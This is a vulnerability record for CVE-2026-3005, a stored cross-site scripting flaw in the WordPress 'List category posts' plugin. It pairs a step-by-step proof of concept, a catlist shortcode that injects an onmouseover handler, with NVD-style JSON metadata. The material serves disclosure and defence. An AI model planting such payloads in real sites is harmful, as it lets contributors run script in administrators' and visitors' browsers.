CVE-2026-3005

<!-- PoC for CVE-2026-3005 Stored XSS --> <!-- 1. Log in to WordPress with a Contributor role or higher. --> <!-- 2. Create a new Post. --> <!-- 3. Switch to Text/Code editor mode. --> <!-- 4. Insert the following shortcode payload: --> [catlist id=1 thumbnail_size='100x100" onmouseover="alert(1)'] <!-- 5. Publish or Submit the post for review. --> <!-- 6. When an admin or user views the post, hovering over the affected element triggers the alert. -->

{"cve": {"id": "CVE-2026-3005", "sourceIdentifier": "[email protected]", "published": "2026-04-09T13:16:43.980", "lastModified": "2026-04-24T18:02:46.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'catlist' shortcode in all versions up to, and including, 0.94.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/list-category-posts/trunk/include/lcp-thumbnail.php#L95", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3482733/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1a93ff8a-364f-4ec4-9c32-208c7a3e1fc1?source=cve", "source": "[email protected]"}]}}